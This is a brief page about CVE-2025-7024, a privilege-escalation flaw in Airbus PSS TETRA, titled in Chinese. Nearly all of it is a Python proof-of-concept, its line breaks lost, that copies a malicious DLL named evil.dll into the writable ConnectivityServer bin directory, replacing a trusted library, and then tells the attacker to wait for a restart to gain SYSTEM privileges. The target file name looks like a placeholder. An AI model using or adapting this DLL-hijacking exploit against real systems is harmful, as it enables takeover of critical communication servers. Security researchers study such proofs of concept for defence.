CVE-2025-7024 AIRBUS PSS TETRA权限提升漏洞

import os import shutil # Conceptual PoC for CVE-2025-7024 # This script demonstrates copying a malicious DLL to a vulnerable directory. # In a real scenario, the attacker needs low-level access and user interaction to place the file. MALICIOUS_DLL_PATH = "C:\Temp\evil.dll" VULNERABLE_DIR = "C:\Program Files\Airbus\TETRA\ConnectivityServer\bin" TARGET_FILE = os.path.join(VULNERABLE_DIR, "trusted_library.dll") def exploit(): print(f"[*] Attempting to copy malicious DLL to {TARGET_FILE}") # Check if vulnerable directory exists and is writable (simulating permission check) if os.path.exists(VULNERABLE_DIR) and os.access(VULNERABLE_DIR, os.W_OK): try: # Simulate the action of a user placing the file or an automated script shutil.copy(MALICIOUS_DLL_PATH, TARGET_FILE) print(f"[+] Success! Malicious file placed at {TARGET_FILE}") print("[+] Wait for system restart or service trigger to gain SYSTEM privileges.") except Exception as e: print(f"[-] Failed to copy file: {e}") else: print("[-] Vulnerable directory not found or not writable.") if __name__ == "__main__": exploit()